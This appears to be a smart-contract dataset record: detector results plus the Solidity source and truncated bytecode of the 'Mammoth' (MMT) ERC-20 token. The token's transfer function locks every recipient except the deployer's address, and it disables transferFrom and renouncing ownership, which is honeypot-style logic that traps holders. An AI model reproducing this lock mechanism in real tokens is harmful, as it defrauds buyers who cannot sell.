012090506111b2818361121c565b6001600160a01b0316886001600160a01b0316146112125760405162461bcd60e51b815260206004820152601e60248201527f6275796572207369676e20766572696669636174696f6e206661696c6564000060448201526064016101fb565b5050505050505050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101839052600090600190605c0160408051601f19818403018152828252805160209182012086518783015188850151600087529386018086529290925260ff16928401929092526060830191909152608082015260a0016020604051602081039080840390855afa1580156112c1573d6000803e3d6000fd5b5050604051601f190151949350505050565b634e487b7160e01b600052604160045260246000fd5b604051610180810167ffffffffffffffff8111828210171561130d5761130d6112d3565b60405290565b6001600160a01b038116811461132857600080fd5b50565b803561049481611313565b80356004811061049457600080fd5b600082601f83011261135657600080fd5b813567ffffffffffffffff80821115611371576113716112d3565b604051601f8301601f19908116603f01168101908282118183101715611399576113996112d3565b816040528381528660208588010111156113b257600080fd5b836020870160208301376000602085830101528094505050505092915050565b600061018082840312156113e557600080fd5b6113ed6112e9565b90506113f88261132b565b81526114066020830161132b565b60208201526114176040830161132b565b60408201526114286060830161132b565b606082015261143960808301611336565b608082015260a082013560a082015260c082013560c082015260e082013560e08201526101008083013581830152506101208083013567ffffffffffffffff81111561148457600080fd5b61149085828601611345565b82840152505061014080830135818301525061016080830135818301525092915050565b803560ff8116811461049457600080fd5b6000606082840312156114d757600080fd5b6040516060810181811067ffffffffffffffff821117156114fa576114fa6112d3565b604052905080611509836114b4565b815260208301356020820152604083013560408201525092915050565b6000806080838503121561153957600080fd5b823567ffffffffffffffff81111561155057600080fd5b61155c858286016113d2565b92505061156c84602085016114c5565b90509250929050565b600080600060e0848603121561158a57600080fd5b833567ffffffffffffffff8111156115a157600080fd5b6115ad868287016113d2565b9350506115bd85602086016114c5565b91506115cc85608086016114c5565b90509250925092565b6000602082840312156115e757600080fd5b6115f0826114b4565b9392505050565b60006020828403121561160957600080fd5b81356115f081611313565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561164457611644611614565b500290565b60208082526013908201527214185a59081a5b9d985b1a5908185b5bdd5b9d606a1b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600061ffff8083168185168083038211156116c8576116c8611614565b01949350505050565b6000826116ee57634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561170557611705611614565b500390565b6000821982111561171d5761171d611614565b500190565b634e487b7160e01b600052602160045260246000fd5b60006020828403121561174a57600080fd5b5051919050565b60006020828403121561176357600080fd5b81516115f081611313565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60005b838110156117b357818101518382015260200161179b565b838111156117c2576000848401525b50505050565b600081518084526117e0816020860160208601611798565b601f01601f19169290920160200192915050565b6001600160a01b038781168252868116602083015285166040820152606081018490526080810183905260e060a08201819052600090611836908301846117c8565b82810360c08401526000815260208101915050979650505050505050565b6001600160a01b038981168252888116602083015287166040820152606081018690526080810185905260a0810184905261012060c0820181905260009061189e838201866117c8565b60e084019490945250508082036101009091015260008152602001979650505050505050565b60006bffffffffffffffffffffffff19808660601b168352808560601b1660148401525082516118fb816028850160208701611798565b9190910160280194935050505056fea264697066735822122092572fa4999e26742340c0a7f97f0f2cb06fc0c212ccaadc200a732566ce3d2e64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,377 |
0xe18fbd6ca4fdd823e5f3e6cf7da16508de25317d
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
// function transferFrom(
// address sender,
// address recipient,
// uint256 amount
// ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
// function transferFrom(
// address sender,
// address recipient,
// uint256 amount
// ) public virtual override returns (bool) {
// _transfer(sender, recipient, amount);
// uint256 currentAllowance = _allowances[sender][_msgSender()];
// require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
// unchecked {
// _approve(sender, _msgSender(), currentAllowance - amount);
// }
// return true;
// }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
// function renounceOwnership() public virtual onlyOwner {
// _transferOwnership(address(0));
// }
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IAccessControl {
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
// function renounceRole(bytes32 role, address account) external;
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
// function renounceRole(bytes32 role, address account) public virtual override {
// require(account == _msgSender(), "AccessControl: can only renounce roles for self");
// _revokeRole(role, account);
// }
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
contract Mammoth is ERC20, AccessControl, Ownable{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant LOCKUP_ROLE = keccak256("LOCKUP_ROLE");
uint public INITIAL_SUPPLY = 10000000000;
address MasterAddress;
mapping(address => bool) public LockStatus;
constructor() public ERC20("Mammoth", "MMT") {
_setupRole(MINTER_ROLE,msg.sender);
_setupRole(BURNER_ROLE,msg.sender);
_setupRole(LOCKUP_ROLE,msg.sender);
MasterAddress = msg.sender;
_mint(msg.sender,INITIAL_SUPPLY * 10 ** (uint(decimals())));
}
function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE){
_mint(to, amount);
}
function burn(address from, uint256 amount) public onlyRole(BURNER_ROLE){
_burn(from, amount);
}
function transfer(address recipient, uint256 amount)public virtual override returns (bool) {
require(LockStatus[msg.sender] != true,"[ERRROR] Msg.sender LockStatus");
_transfer(msg.sender, recipient, amount);
if(MasterAddress != recipient){
LockStatus[recipient] = true;
}
}
function ReleaseLockStatus(address user) public onlyRole(LOCKUP_ROLE){
require(LockStatus[user]==true,"[ERRROR] User not LockStatus");
LockStatus[user] = false;
}
function SetLockStatus(address user) public onlyRole(LOCKUP_ROLE){
require(LockStatus[user]==false,"[ERRROR] User LockStatus");
LockStatus[user] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638da5cb5b116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e146104f8578063e008178814610528578063e3c0958e14610544578063f2fde38b14610562576101a9565b8063a9059cbb1461048e578063d5391393146104be578063d547741f146104dc576101a9565b806398097d57116100d357806398097d57146103f45780639dc29fac14610424578063a217fddf14610440578063a457c2d71461045e576101a9565b80638da5cb5b1461038857806391d14854146103a657806395d89b41146103d6576101a9565b80632f2ff15d11610166578063395093511161014057806339509351146102f057806340c10f191461032057806370a082311461033c578063736b3f0c1461036c576101a9565b80632f2ff15d146102985780632ff2e9dc146102b4578063313ce567146102d2576101a9565b806301ffc9a7146101ae57806306fdde03146101de578063095ea7b3146101fc57806318160ddd1461022c578063248a9ca31461024a578063282c51f31461027a575b600080fd5b6101c860048036038101906101c39190611f33565b61057e565b6040516101d591906122bd565b60405180910390f35b6101e66105f8565b6040516101f391906122f3565b60405180910390f35b61021660048036038101906102119190611e86565b61068a565b60405161022391906122bd565b60405180910390f35b6102346106a8565b60405161024191906124f5565b60405180910390f35b610264600480360381019061025f9190611ec6565b6106b2565b60405161027191906122d8565b60405180910390f35b6102826106d2565b60405161028f91906122d8565b60405180910390f35b6102b260048036038101906102ad9190611ef3565b6106f6565b005b6102bc61071f565b6040516102c991906124f5565b60405180910390f35b6102da610725565b6040516102e79190612510565b60405180910390f35b61030a60048036038101906103059190611e86565b61072e565b60405161031791906122bd565b60405180910390f35b61033a60048036038101906103359190611e86565b6107da565b005b61035660048036038101906103519190611e19565b61081b565b60405161036391906124f5565b60405180910390f35b61038660048036038101906103819190611e19565b610863565b005b610390610984565b60405161039d91906122a2565b60405180910390f35b6103c060048036038101906103bb9190611ef3565b6109ae565b6040516103cd91906122bd565b60405180910390f35b6103de610a19565b6040516103eb91906122f3565b60405180910390f35b61040e60048036038101906104099190611e19565b610aab565b60405161041b91906122bd565b60405180910390f35b61043e60048036038101906104399190611e86565b610acb565b005b610448610b0c565b60405161045591906122d8565b60405180910390f35b61047860048036038101906104739190611e86565b610b13565b60405161048591906122bd565b60405180910390f35b6104a860048036038101906104a39190611e86565b610bfe565b6040516104b591906122bd565b60405180910390f35b6104c6610d53565b6040516104d391906122d8565b60405180910390f35b6104f660048036038101906104f19190611ef3565b610d77565b005b610512600480360381019061050d9190611e46565b610da0565b60405161051f91906124f5565b60405180910390f35b610542600480360381019061053d9190611e19565b610e27565b005b61054c610f48565b60405161055991906122d8565b60405180910390f35b61057c60048036038101906105779190611e19565b610f6c565b005b60007f4f3351b5000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105f157506105f082611064565b5b9050919050565b6060600380546106079061271e565b80601f01602080910402602001604051908101604052809291908181526020018280546106339061271e565b80156106805780601f1061065557610100808354040283529160200191610680565b820191906000526020600020905b81548152906001019060200180831161066357829003601f168201915b5050505050905090565b600061069e6106976110ce565b84846110d6565b6001905092915050565b6000600254905090565b600060056000838152602001908152602001600020600101549050919050565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b6106ff826106b2565b6107108161070b6110ce565b6112a1565b61071a838361133e565b505050565b60075481565b60006012905090565b60006107d061073b6110ce565b8484600160006107496110ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107cb9190612552565b6110d6565b6001905092915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a661080c816108076110ce565b6112a1565b610816838361141f565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7fdebe1c104e65c4c6404e69ba1ca82f07ed28c97ae0e4eb689bb2d030edd0951b610895816108906110ce565b6112a1565b60001515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091f906124d5565b60405180910390fd5b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610a289061271e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a549061271e565b8015610aa15780601f10610a7657610100808354040283529160200191610aa1565b820191906000526020600020905b815481529060010190602001808311610a8457829003601f168201915b5050505050905090565b60096020528060005260406000206000915054906101000a900460ff1681565b7f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a848610afd81610af86110ce565b6112a1565b610b07838361157f565b505050565b6000801b81565b60008060016000610b226110ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd690612495565b60405180910390fd5b610bf3610bea6110ce565b858584036110d6565b600191505092915050565b600060011515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b90612475565b60405180910390fd5b610c9f338484611756565b8273ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b92915050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610d80826106b2565b610d9181610d8c6110ce565b6112a1565b610d9b83836119d7565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fdebe1c104e65c4c6404e69ba1ca82f07ed28c97ae0e4eb689bb2d030edd0951b610e5981610e546110ce565b6112a1565b60011515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee3906123f5565b60405180910390fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b7fdebe1c104e65c4c6404e69ba1ca82f07ed28c97ae0e4eb689bb2d030edd0951b81565b610f746110ce565b73ffffffffffffffffffffffffffffffffffffffff16610f92610984565b73ffffffffffffffffffffffffffffffffffffffff1614610fe8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdf906123d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612375565b60405180910390fd5b61106181611ab9565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d90612455565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90612395565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161129491906124f5565b60405180910390a3505050565b6112ab82826109ae565b61133a576112d08173ffffffffffffffffffffffffffffffffffffffff166014611b7f565b6112de8360001c6020611b7f565b6040516020016112ef929190612268565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133191906122f3565b60405180910390fd5b5050565b61134882826109ae565b61141b5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506113c06110ce565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906124b5565b60405180910390fd5b61149b60008383611dbb565b80600260008282546114ad9190612552565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115029190612552565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161156791906124f5565b60405180910390a361157b60008383611dc0565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e690612415565b60405180910390fd5b6115fb82600083611dbb565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611681576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167890612355565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546116d89190612602565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173d91906124f5565b60405180910390a361175183600084611dc0565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bd90612435565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182d90612335565b60405180910390fd5b611841838383611dbb565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be906123b5565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461195a9190612552565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119be91906124f5565b60405180910390a36119d1848484611dc0565b50505050565b6119e182826109ae565b15611ab55760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611a5a6110ce565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b606060006002836002611b9291906125a8565b611b9c9190612552565b67ffffffffffffffff811115611bb557611bb46127dd565b5b6040519080825280601f01601f191660200182016040528015611be75781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110611c1f57611c1e6127ae565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110611c8357611c826127ae565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060006001846002611cc391906125a8565b611ccd9190612552565b90505b6001811115611d6d577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110611d0f57611d0e6127ae565b5b1a60f81b828281518110611d2657611d256127ae565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c945080611d66906126f4565b9050611cd0565b5060008414611db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da890612315565b60405180910390fd5b8091505092915050565b505050565b505050565b600081359050611dd481612c31565b92915050565b600081359050611de981612c48565b92915050565b600081359050611dfe81612c5f565b92915050565b600081359050611e1381612c76565b92915050565b600060208284031215611e2f57611e2e61280c565b5b6000611e3d84828501611dc5565b91505092915050565b60008060408385031215611e5d57611e5c61280c565b5b6000611e6b85828601611dc5565b9250506020611e7c85828601611dc5565b9150509250929050565b60008060408385031215611e9d57611e9c61280c565b5b6000611eab85828601611dc5565b9250506020611ebc85828601611e04565b9150509250929050565b600060208284031215611edc57611edb61280c565b5b6000611eea84828501611dda565b91505092915050565b60008060408385031215611f0a57611f0961280c565b5b6000611f1885828601611dda565b9250506020611f2985828601611dc5565b9150509250929050565b600060208284031215611f4957611f4861280c565b5b6000611f5784828501611def565b91505092915050565b611f6981612636565b82525050565b611f7881612648565b82525050565b611f8781612654565b82525050565b6000611f988261252b565b611fa28185612536565b9350611fb28185602086016126c1565b611fbb81612811565b840191505092915050565b6000611fd18261252b565b611fdb8185612547565b9350611feb8185602086016126c1565b80840191505092915050565b6000612004602083612536565b915061200f82612822565b602082019050919050565b6000612027602383612536565b91506120328261284b565b604082019050919050565b600061204a602283612536565b91506120558261289a565b604082019050919050565b600061206d602683612536565b9150612078826128e9565b604082019050919050565b6000612090602283612536565b915061209b82612938565b604082019050919050565b60006120b3602683612536565b91506120be82612987565b604082019050919050565b60006120d6602083612536565b91506120e1826129d6565b602082019050919050565b60006120f9601c83612536565b9150612104826129ff565b602082019050919050565b600061211c602183612536565b915061212782612a28565b604082019050919050565b600061213f602583612536565b915061214a82612a77565b604082019050919050565b6000612162602483612536565b915061216d82612ac6565b604082019050919050565b6000612185601783612547565b915061219082612b15565b601782019050919050565b60006121a8601e83612536565b91506121b382612b3e565b602082019050919050565b60006121cb602583612536565b91506121d682612b67565b604082019050919050565b60006121ee601183612547565b91506121f982612bb6565b601182019050919050565b6000612211601f83612536565b915061221c82612bdf565b602082019050919050565b6000612234601883612536565b915061223f82612c08565b602082019050919050565b612253816126aa565b82525050565b612262816126b4565b82525050565b600061227382612178565b915061227f8285611fc6565b915061228a826121e1565b91506122968284611fc6565b91508190509392505050565b60006020820190506122b76000830184611f60565b92915050565b60006020820190506122d26000830184611f6f565b92915050565b60006020820190506122ed6000830184611f7e565b92915050565b6000602082019050818103600083015261230d8184611f8d565b905092915050565b6000602082019050818103600083015261232e81611ff7565b9050919050565b6000602082019050818103600083015261234e8161201a565b9050919050565b6000602082019050818103600083015261236e8161203d565b9050919050565b6000602082019050818103600083015261238e81612060565b9050919050565b600060208201905081810360008301526123ae81612083565b9050919050565b600060208201905081810360008301526123ce816120a6565b9050919050565b600060208201905081810360008301526123ee816120c9565b9050919050565b6000602082019050818103600083015261240e816120ec565b9050919050565b6000602082019050818103600083015261242e8161210f565b9050919050565b6000602082019050818103600083015261244e81612132565b9050919050565b6000602082019050818103600083015261246e81612155565b9050919050565b6000602082019050818103600083015261248e8161219b565b9050919050565b6000602082019050818103600083015261